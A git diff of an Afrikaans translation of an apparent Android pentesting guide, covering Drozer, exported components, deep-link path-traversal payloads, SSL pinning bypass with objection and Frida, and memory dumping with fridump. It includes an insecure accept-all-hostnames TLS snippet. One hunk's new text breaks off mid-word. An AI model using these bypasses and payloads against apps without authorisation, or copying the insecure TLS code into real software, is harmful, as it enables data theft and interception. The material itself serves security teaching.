* Dit word sterk afgeraai om uitvoerbare lêers of klaslêers op eksterne opberging vir dinamiese laai te stoor.
|
||||
* As jou aansoek uitvoerbare lêers van eksterne opberging moet herwin, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** word voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik vir die handhawing van die sekuriteitsintegriteit van jou aansoek.
|
||||
* As jou aansoek uitvoerbare lêers van eksterne opberging moet herwin, verseker dan dat hierdie lêers **onderteken en kriptografies geverifieer** word voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik vir die handhawing van die sekuriteitsintegriteit van jou aansoek.
|
||||
|
||||
Eksterne opberging kan **benader** word in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
Van Android 4.4 (**API 17**) af, het die SD-kaart 'n gidsstruktuur wat **toegang van 'n aansoek tot die gids wat spesifiek vir daardie aansoek is, beperk**. Dit voorkom dat boosaardige aansoeke lees- of skryftoegang tot 'n ander aansoek se lêers verkry.
|
||||
Van Android 4.4 (**API 17**) af het die SD-kaart 'n gidsstruktuur wat **toegang van 'n aansoek tot die gids wat spesifiek vir daardie aansoek is, beperk**. Dit voorkom dat boosaardige aansoeke lees- of skryftoegang tot 'n ander aansoek se lêers verkry.
|
||||
{% endhint %}
|
||||
|
||||
**Sensitiewe data in die teks**
|
||||
|
@ -162,7 +162,7 @@ Van Android 4.4 (**API 17**) af, het die SD-kaart 'n gidsstruktuur wat **toegang
|
|||
|
||||
**Aanvaar Alle Sertifikate**
|
||||
|
||||
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met lyne kode soos die volgende een nie:
|
||||
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met reëls kode soos die volgende:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
@ -187,7 +187,7 @@ Ontwikkelaars behoort nie **verouderde algoritmes** te gebruik om outorisasie **
|
|||
|
||||
### React Native-toepassing
|
||||
|
||||
Lees die volgende bladsy om te leer hoe om maklik toegang tot JavaScript-kode van React-toepassings te verkry:
|
||||
Lees die volgende bladsy om te leer hoe om maklik toegang tot javascript-kode van React-toepassings te verkry:
|
||||
|
||||
{% content-ref url="react-native-application.md" %}
|
||||
[react-native-application.md](react-native-application.md)
|
||||
|
@ -203,11 +203,11 @@ Lees die volgende bladsy om te leer hoe om maklik toegang tot C#-kode van 'n Xam
|
|||
|
||||
### Supergepakte Toepassings
|
||||
|
||||
Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is supergepakte 'n Meta-algoritme wat die inhoud van 'n toepassing in 'n enkele lêer saamdruk. Die blog praat oor die moontlikheid om 'n toepassing te skep wat hierdie soort toepassings dekomprimeer... en 'n vinniger manier wat behels om **die toepassing uit te voer en die gedekomprimeerde lêers van die lêersisteem te versamel.**
|
||||
Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is supergepakte 'n Meta-algoritme wat die inhoud van 'n toepassing in 'n enkele lêer saamdruk. Die blog praat oor die moontlikheid om 'n toepassing te skep wat hierdie soort toepassings dekomprimeer... en 'n vinniger manier wat behels om **die toepassing uit te voer en die gedekomprimeerde lêers van die lêersisteem te versamel**.
|
||||
|
||||
### Geoutomatiseerde Statische Kode-analise
|
||||
|
||||
Die instrument [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie instrument bevat 'n reeks **bekende bronne** (wat die instrument aandui waar die **invoer deur die gebruiker beheer word**), **sinks** (wat die instrument **gevaarlike plekke** aandui waar skadelike gebruikersinvoer skade kan veroorsaak) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui.
|
||||
Die instrument [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie instrument bevat 'n reeks **bekende bronne** (wat die instrument die **plekke** aandui waar die **invoer deur die gebruiker beheer word**), **sinks** (wat die instrument **gevaarlike plekke** aandui waar skadelike gebruikerinvoer skade kan veroorsaak) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui.
|
||||
|
||||
Met hierdie kennis sal **mariana-trench die kode deurkyk en moontlike kwesbaarhede daarop vind**.
|
||||
|
||||
|
@ -243,8 +243,8 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
**Hack-insigte**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek
|
||||
|
||||
**Nuus oor Hack in Werklikheid**\
|
||||
Bly op hoogte van die vinnige hackwêreld deur middel van nuus en insigte in werklikheid
|
||||
**Reële Hack-nuus**\
|
||||
Bly op hoogte van die vinnige hackwêreld deur middel van nuus en insigte in werklike tyd
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
@ -259,17 +259,17 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
### Aanlyn Dinamiese analise
|
||||
|
||||
Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform stel jou in staat om APK's te **laai** en **uit te voer**, sodat jy kan sien hoe 'n apk optree.
|
||||
Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform stel jou in staat om APK's te **laai** en **uit te voer**, sodat dit nuttig is om te sien hoe 'n apk optree.
|
||||
|
||||
Jy kan selfs die **logs van jou toepassing** op die web sien en deur middel van **adb** koppel.
|
||||
Jy kan selfs die **logs van jou toepassing** op die web sien en deur **adb** koppel.
|
||||
|
||||
![](<../../.gitbook/assets/image (831).png>)
|
||||
|
||||
Dankie aan die ADB-koppeling kan jy **Drozer** en **Frida** binne-in die emuleerders gebruik.
|
||||
Dankie aan die ADB-koppeling kan jy **Drozer** en **Frida** binne die emuleerders gebruik.
|
||||
|
||||
### Plaaslike Dinamiese Analise
|
||||
|
||||
#### Gebruik van 'n emuleerder
|
||||
#### Deur 'n emuleerder te gebruik
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens [**hierdie** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**nuutste x86** weergawes **ondersteun ARM-biblioteke** sonder 'n stadige arm-emuleerder nodig te hê).
|
||||
* Leer om dit op te stel op hierdie bladsy:
|
||||
|
@ -282,7 +282,7 @@ Dankie aan die ADB-koppeling kan jy **Drozer** en **Frida** binne-in die emuleer
|
|||
* [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
|
||||
|
||||
{% hint style="info" %}
|
||||
Wanneer jy 'n nuwe emuleerder op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger die emuleerder sal loop. Kies dus klein skerms as moontlik.
|
||||
Wanneer jy 'n nuwe emuleerder op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emuleerder loop. Kies dus klein skerms as moontlik.
|
||||
{% endhint %}
|
||||
|
||||
Om **Google-dienste te installeer** (soos AppStore) in Genymotion moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
|
||||
|
@ -302,61 +302,19 @@ Jy moet die **afskakeling**-opsies aktiveer en dit sal goed wees as jy dit kan *
|
|||
5. Gaan terug en jy sal die **Ontwikkelaar-opsies** vind.
|
||||
|
||||
> Nadat jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen, om dit te probeer en ondersoek in te stel wat dit doen, hoe werk dit en gemaklik daarmee te voel.\
|
||||
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer met MobSF dinamiese analise + pidcat**, sodat ons in staat sal wees om te **leer hoe die toepassing werk** terwyl MobSF 'n baie van **interessante data vasvang** wat jy later kan deurkyk.
|
||||
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer deur MobSF dinamiese analise + pidcat**, sodat ons in staat sal wees om te **leer hoe die toepassing werk** terwyl MobSF 'n baie van **interessante data vasvang** wat jy later kan deurkyk.
|
||||
### Onbedoelde Datalek
|
||||
|
||||
**Logging**
|
||||
**Logboekregistratie**
|
||||
|
||||
Ontwikkelaars moet versigtig wees om **foutopsporingsinligting** openlik bloot te stel, aangesien dit kan lei tot die lek van sensitiewe data. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel vir die monitor van aansoeklogboeke om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vanweë sy gebruiksgemak en leesbaarheid.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat van **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logboeke** kan hê. So toepassings kan nie by ander toepassings se logboeke kom nie.\
|
||||
Hoe dan ook, dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**.
|
||||
Let daarop dat van **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logboeke** kan hê. So toepassings kan nie ander toepassings se logboeke bereik nie.\
|
||||
In elk geval word dit steeds aanbeveel om **nie sensitiewe inligting te log nie**.
|
||||
{% endhint %}
|
||||
|
||||
**Kopieer/Plak Buffer Kaching**
|
||||
|
||||
Android se **klembord-gebaseerde** raamwerk maak kopieer/plak-funksionaliteit in programme moontlik, maar hou 'n risiko in aangesien **ander toepassings** die klembord kan **benader**, wat moontlik sensitiewe data kan blootstel. Dit is noodsaaklik om **kopieer/plak**-funksies vir sensitiewe dele van 'n aansoek, soos kredietkaartbesonderhede, te **deaktiveer** om datalekke te voorkom.
|
||||
|
||||
**Kraaklogboeke**
|
||||
|
||||
As 'n aansoek **kraak** en **logboeke stoor**, kan hierdie logboeke aanvallers help, veral wanneer die aansoek nie omgekeer-ingenieurswese kan word nie. Om hierdie risiko te verminder, moet gelog word op kraakgevalle vermy word, en as logboeke oor die netwerk gestuur moet word, moet verseker word dat hulle via 'n SSL-kanaal vir sekuriteit gestuur word.
|
||||
|
||||
As pentester, **probeer om na hierdie logboeke te kyk**.
|
||||
|
||||
**Analitiese Data Gestuur Na 3de Partye**
|
||||
|
||||
Toepassings integreer dikwels dienste soos Google Adsense, wat onbedoeld **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële datalekke te identifiseer, is dit raadsaam om die toepassing se verkeer te **onderskep** en te kyk vir enige sensitiewe inligting wat aan derdepartydiens gestuur word.
|
||||
|
||||
### SQLite-databasisse
|
||||
|
||||
Meeste van die toepassings sal **interne SQLite-databasisse** gebruik om inligting te stoor. Tydens die pentest moet 'n **kykie** na die **databasisse** wat geskep is, die name van **tabelle** en **kolomme** en al die **data** wat gestoor is, geneem word omdat jy **sensitiewe inligting** (wat 'n kwesbaarheid sou wees) kan vind.\
|
||||
Databasisse behoort in `/data/data/die.pakket.naam/databasisse` soos `/data/data/com.mwr.example.sieve/databasisse` geleë te wees.
|
||||
|
||||
As die databasis vertroulike inligting stoor en **geënkripteer is** maar jy kan die **wagwoord** binne die aansoek **vind**, is dit steeds 'n **kwesbaarheid**.
|
||||
|
||||
Tel die tabelle op deur `.tabelle` te gebruik en tel die kolomme van die tabelle op deur `.skema <tabel_naam>` te doen.
|
||||
|
||||
### Drozer (Uitbuitingsaktiwiteite, Inhoudsverskaffers en Dienste)
|
||||
|
||||
Vanaf [Drozer-dokumente](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-aansoek aan te neem en met ander aansoeke te interaksieer. Dit kan **enigiets doen wat 'n geïnstalleerde aansoek kan doen**, soos gebruik maak van Android se Interproseskommunikasie (IPC)-meganisme en interaksie met die onderliggende bedryfstelsel.\
|
||||
Drozer is 'n nuttige gereedskap om **uitgevoerde aktiwiteite, uitgevoerde dienste en Inhoudsverskaffers** uit te buit soos wat jy in die volgende afdelings sal leer.
|
||||
|
||||
### Uitbuiting van uitgevoerde Aktiwiteite
|
||||
|
||||
[**Lees dit as jy wil onthou wat 'n Android-aktiwiteit is.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`**-metode.
|
||||
|
||||
**Outorisasie-omleiding**
|
||||
|
||||
Wanneer 'n Aktiwiteit uitgevoer word, kan jy sy skerm vanaf 'n eksterne aansoek aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **uitgevoer** word, kan jy die **outentiserings**-meganismes **omseil** om dit te **benader**.
|
||||
|
||||
[**Leer hoe om uitgevoerde aktiwiteite met Drozer uit te buit.**](drozer-tutorial/#activities)
|
||||
|
||||
Jy kan ook 'n uitgevoerde aktiwiteit vanaf adb begin:
|
||||
|
||||
* Pakketnaam is com.example.demo
|
||||
* Uitgevoerde Aktiwiteitsnaam is com.example.test.MainActivity
|
||||
**Kopieer/Plak Buffer Kas
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
@ -376,22 +334,22 @@ As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik o
|
|||
|
||||
### Uitbuiting van Inhoudsverskaffers - Toegang tot en manipulering van sensitiewe inligting
|
||||
|
||||
[**Lees dit as jy wil onthou wat 'n Inhoudsverskaffer is.**](android-applications-basics.md#content-provider)\
|
||||
Inhoudsverskaffers word basies gebruik om **data te deel**. As 'n toepassing beskikbare inhoudsverskaffers het, kan jy moontlik **sensitiewe** data daaruit **onttrek**. Dit is ook interessant om moontlike **SQL-injeksies** en **Padaflaaie** te toets aangesien hulle kwesbaar kan wees.
|
||||
[**Lees dit as jy wil hersien wat 'n Inhoudsverskaffer is.**](android-applications-basics.md#content-provider)\
|
||||
Inhoudsverskaffers word basies gebruik om **data te deel**. As 'n toepassing beskikbare inhoudsverskaffers het, kan jy moontlik **sensitiewe** data daaruit **onttrek**. Dit is ook interessant om moontlike **SQL inspuitings** en **Padaflitsings** te toets aangesien hulle kwesbaar kan wees.
|
||||
|
||||
[**Leer hoe om Inhoudsverskaffers uit te buit met Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Uitbuiting van Dienste**
|
||||
|
||||
[**Lees dit as jy wil onthou wat 'n Diens is.**](android-applications-basics.md#services)\
|
||||
[**Lees dit as jy wil hersien wat 'n Diens is.**](android-applications-basics.md#services)\
|
||||
Onthou dat die aksies van 'n Diens begin in die metode `onStartCommand`.
|
||||
|
||||
'n Diens is basies iets wat **data kan ontvang**, dit kan **verwerk** en **'n antwoord** teruggee (of nie). As 'n toepassing dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dinamies** toets vir die onttrekking van vertroulike inligting, omseilings van outentiseringsmaatreëls...\
|
||||
'n Diens is basies iets wat **data kan ontvang**, dit kan **verwerk** en **'n antwoord** (of nie) teruggee. Dan, as 'n toepassing sommige dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dinamies** toets vir die onttrek van vertroulike inligting, omseil van outentiseringsmaatreëls...\
|
||||
[**Leer hoe om Dienste uit te buit met Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Uitbuiting van Uitsaai-Ontvangers**
|
||||
|
||||
[**Lees dit as jy wil onthou wat 'n Uitsaai-Ontvanger is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**Lees dit as jy wil hersien wat 'n Uitsaai-Ontvanger is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Onthou dat die aksies van 'n Uitsaai-Ontvanger begin in die metode `onReceive`.
|
||||
|
||||
'n Uitsaai-ontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
|
||||
|
@ -408,7 +366,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Merk op dat jy die pakketnaam **kan weglaat** en die mobiele toestel sal outomaties die program oproep wat die skakel behoort te open._
|
||||
_Merk op dat jy die pakketnaam kan **weglaat** en die selfoon sal outomaties die program oproep wat die skakel behoort te open._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -419,7 +377,7 @@ _Merk op dat jy die pakketnaam **kan weglaat** en die mobiele toestel sal outoma
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Kode uitgevoer**
|
||||
**Uitgevoerde kode**
|
||||
|
||||
Om die **kode wat in die program uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink geroep word en soek die funksie **`onNewIntent`**.
|
||||
|
||||
|
@ -427,50 +385,50 @@ Om die **kode wat in die program uitgevoer sal word** te vind, gaan na die aktiw
|
|||
|
||||
**Sensitiewe inligting**
|
||||
|
||||
Elke keer as jy 'n diep skakel vind, moet jy nagaan dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, omdat enige ander program die diep skakel kan **impersoneer en daardie data kan steel!**
|
||||
Elke keer as jy 'n deeplink vind, moet jy nagaan dat **dit nie sensitiewe data (soos wagwoorde) via URL-parameters ontvang nie**, omdat enige ander program die deeplink kan **impersonate** en daardie data kan steel!
|
||||
|
||||
**Parameters in pad**
|
||||
|
||||
Jy **moet ook nagaan of enige diep skakel 'n parameter binne die pad** van die URL gebruik soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n padtraversie afdwing deur iets soos te benader: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Let daarop dat as jy die korrekte eindpunte binne die program vind, jy dalk 'n **Oop Aanstuur** kan veroorsaak (as deel van die pad as domeinnaam gebruik word), **rekeningoorneming** (as jy gebruikersbesonderhede sonder CSRF-token kan wysig en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Jy **moet ook nagaan of enige deeplink 'n parameter binne die pad** van die URL gebruik soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n padtraversie afdwing deur iets soos te benader: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Let daarop dat as jy die regte eindpunte binne die program vind, jy 'n **Open Redirect** kan veroorsaak (as deel van die pad as domeinnaam gebruik word), **rekening-oorneem** (as jy gebruikersbesonderhede sonder CSRF-token kan wysig en die kwesbare eindpunt die regte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Meer voorbeelde**
|
||||
|
||||
'n [Interessante foutvondsrapport](https://hackerone.com/reports/855618) oor skakels (_/.well-known/assetlinks.json_).
|
||||
'n [Interessante bug bounty-verslag](https://hackerone.com/reports/855618) oor skakels (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Vervoerlaag Inspeksie en Verifikasie Mislukkings
|
||||
### Inspeksie en Verifikasie van die Vervoerlaag
|
||||
|
||||
* **Sertifikate word nie altyd behoorlik geïnspekteer** deur Android-toepassings nie. Dit is algemeen vir hierdie toepassings om waarskuwings te ignoreer en selfondertekende sertifikate te aanvaar of, in sommige gevalle, terug te keer na die gebruik van HTTP-verbindings.
|
||||
* **Onderhandelinge tydens die SSL/TLS-handdruk is soms swak**, waar onveilige siferreeks gebruik word. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-die-middel (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsluit.
|
||||
* **Sertifikate word nie altyd behoorlik geïnspekteer** deur Android-toepassings nie. Dit is algemeen vir hierdie toepassings om waarskuwings te ignoreer en selfondertekende sertifikate te aanvaar of, in sommige gevalle, terug te keer na die gebruik van HTTP-verbindinge.
|
||||
* **Onderhandelinge tydens die SSL/TLS-handdruk is soms swak**, waar onveilige siferreeksse gebruik word. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-die-middel (MITM)-aanvalle, wat aanvallers in staat stel om die data te dekodeer.
|
||||
* **Lekkasie van private inligting** is 'n risiko wanneer toepassings gebruik maak van veilige kanale vir verifikasie, maar dan kommunikeer oor nie-veilige kanale vir ander transaksies. Hierdie benadering slaag daarin om sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, te beskerm teen onderskepping deur skadelike entiteite.
|
||||
|
||||
#### Sertifikaatverifikasie
|
||||
|
||||
Ons sal fokus op **sertifikaatverifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om die veiligheid te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor ongekripteer kanale aansienlike risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie bron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
|
||||
Ons sal fokus op **sertifikaatverifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om die veiligheid te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor ongekripteerde kanale aansienlike risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie bron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat teen 'n bekende kopie wat binne die toepassing self gestoor word, verifieer. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Die implementering van SSL Pinning word sterk aanbeveel vir toepassings wat sensitiewe inligting hanteer.
|
||||
SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat teen 'n bekende kopie wat binne die toepassing self gestoor word, verifieer. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Dit word sterk aanbeveel om SSL Pinning te implementeer vir toepassings wat sensitiewe inligting hanteer.
|
||||
|
||||
#### Verkeersinspeksie
|
||||
|
||||
Om HTTP-verkeer te inspekteer, is dit nodig om die sertifikaat van die proksigereedskap te **installeer** (bv. Burp). Sonder die installering van hierdie sertifikaat mag versleutelde verkeer nie sigbaar wees deur die proksi nie. Vir 'n gids oor die installeer van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Om HTTP-verkeer te inspekteer, is dit nodig om die sertifikaat van die proksigereedskap te **installeer** (bv. Burp). Sonder om hierdie sertifikaat te installeer, mag gekripteerde verkeer nie sigbaar wees deur die proksi nie. Vir 'n gids oor die installeer van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerksekuriteitskonfig om die proksi se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van versleutelde verkeer. Vir instruksies oor die wysiging van die Netwerksekuriteitskonfig, [**verwys na hierdie handleiding**](make-apk-accept-ca-certificate.md).
|
||||
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerksekuriteitskonfig om die CA-sertifikaat van die proksi te aanvaar. Hierdie stap is krities vir die inspeksie van gekripteerde verkeer. Vir instruksies oor die wysiging van die Netwerksekuriteitskonfig, [**verwys na hierdie handleiding**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel:
|
||||
Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil vir die inspeksie van HTTPS-verkeer. Verskeie metodes is beskikbaar vir hierdie doel:
|
||||
|
||||
* Outomaties **verander** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die groot voordeel van hierdie opsie is dat jy nie 'n wortel nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een moet herinstalleer, en dit sal nie altyd werk nie.
|
||||
* Jy kan **Frida** (bespreek hieronder) gebruik om hierdie beskerming te omseil. Hier het jy 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Jy kan ook probeer om **outomaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Jy kan ook probeer om **outomaties SSL Pinning te omseil** met **MobSF dinamiese analise** (verduidelik hieronder)
|
||||
* As jy steeds dink dat daar verkeer is wat jy nie vasvang nie, kan jy probeer om die verkeer na burp te **stuur deur iptables** te gebruik. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
* Outomaties **verander** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die groot voordeel van hierdie opsie is dat jy nie 'n wortel nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een herinstalleer, en dit sal nie altyd werk nie.
|
||||
* Jy kan **Frida** (hieronder bespreek) gebruik om hierdie beskerming te omseil. Hier het jy 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Jy kan ook probeer om **outomaties SSL Pinning te omseil** deur [**objection**](frida-tutorial/objection-tutorial.md)** te gebruik:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Jy kan ook probeer om **outomaties SSL Pinning te omseil** deur **MobSF dinamiese analise** (hieronder verduidelik)
|
||||
* As jy steeds dink dat daar verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp deur te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Soek na Algemene Web Kwesbaarhede
|
||||
#### Soek na Algemene Webkwesbaarhede
|
||||
|
||||
Dit is ook belangrik om na algemene web kwesbaarhede binne die toepassing te soek. Gedetailleerde inligting oor die identifisering en die verminder van hierdie kwesbaarhede val buite die bestek van hierdie opsomming, maar word elders uitgebreid gedek.
|
||||
Dit is belangrik om ook na algemene webkwesbaarhede binne die toepassing te soek. Gedetailleerde inligting oor die identifisering en die verminder van hierdie kwesbaarhede val buite die bestek van hierdie opsomming, maar word elders uitgebreid gedek.
|
||||
|
||||
### Frida
|
||||
|
||||
|
@ -478,15 +436,15 @@ Dit is ook belangrik om na algemene web kwesbaarhede binne die toepassing te soe
|
|||
**Jy kan die lopende toepassing toegang en metodes op tyd hardloop om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode uit te voer...**\
|
||||
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
|
||||
|
||||
* Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/)
|
||||
* Leer hoe om Frida te gebruik: [**Frida-tutoriaal**](frida-tutorial/)
|
||||
* 'n "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection is groot om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs))
|
||||
* Probeer om anti-debugging / anti-Frida-meganismes te omseil deur Frida soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) te laai (gereedskap [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Gedagtegeheue aflaai - Fridump**
|
||||
|
||||
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemoniese woorde.
|
||||
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemoniese woorde.
|
||||
|
||||
Deur [**Fridump3**](https://github.com/rootbsd/fridump3) te gebruik, kan jy die geheue van die program aflaai met:
|
||||
```bash
|
||||
|
@ -497,7 +455,9 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Dit sal die geheue in die ./dump vouer dump, en daar kan jy grep met iets soos:
|
||||
